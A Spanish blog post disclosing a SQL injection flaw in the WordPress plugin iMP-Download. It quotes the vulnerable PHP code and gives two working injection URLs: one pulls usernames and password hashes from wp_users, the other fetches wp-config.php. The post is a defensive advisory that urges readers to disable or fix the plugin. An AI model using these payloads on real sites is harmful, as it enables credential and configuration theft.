Esta entrada que escribí meses atrás iba a quedar como borrador, pero visto las repercusiones en blogs hispanos sobre un supuesto nuevo problema de seguridad de WordPress, publico esta entrada porque el sitio afectado usaba este plugin -- no tengo idea si esto tiene relación con el ataque que sufrió.

En las primeras líneas del plugin iMP-Download, se puede apreciar el siguiente código:

[php num=34,39 start=1] query("UPDATE $table_name SET dl_count=dl_count+1 WHERE dl_id='$dl_id'"); $url = "SELECT dl_url FROM $table_name WHERE dl_id = $dl_id"; $file = $wpdb->get_var($url); $file = str_replace(' ','%20',$file); $filename = basename($file); $mimetype = 'application/octet-stream'; // Set mime-type header("Pragma: "); // Leave blank for issues with IE header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Content-Type: $mimetype"); if ($option['dl_fd'] == 1) { if (ini_get('allow_url_fopen') == 0 && !function_exists('curl_init')) { header('Location: '.$file.''); // Switch to normal download mode if allow_url_fopen is disabled and cURL is not available } else { header('Content-Disposition: attachment; filename='.basename($filename)); // Force download activated } if (ini_get('allow_url_fopen') == 1) { $file = fopen($file, "rb"); fpassthru($file); exit(); } elseif (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $file); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec ($ch); curl_close ($ch); exit(); } } else { header('Location: '.$file.''); // Force download deactivated exit(); } }[/php]

Como se puede apreciar en las líneas 34 y 39, el parámetro dl no es validado adecuadamente; ésto permite que cualquier usuario pueda realizar ataques de inyección de SQL y hacer muchas cosas como:

code:
* Obtener el usuario y contraseña de cualquier usuario
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/concat(user_login,0x2d,user_pass)/**/FROM/**/wp_users/**/WHERE/**/ID=1

* Si allow_url_fopen está habilitado, existe la posibilidad de descargar cualquier archivo del servidor (./wp-config.php)
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/0x2E2F77702D636F6E6669672E706870

Dada la gravedad del problema, es recomendable que desactiven -- o corrijan -- cuanto antes el mencionado plugin.

Tags: , , ,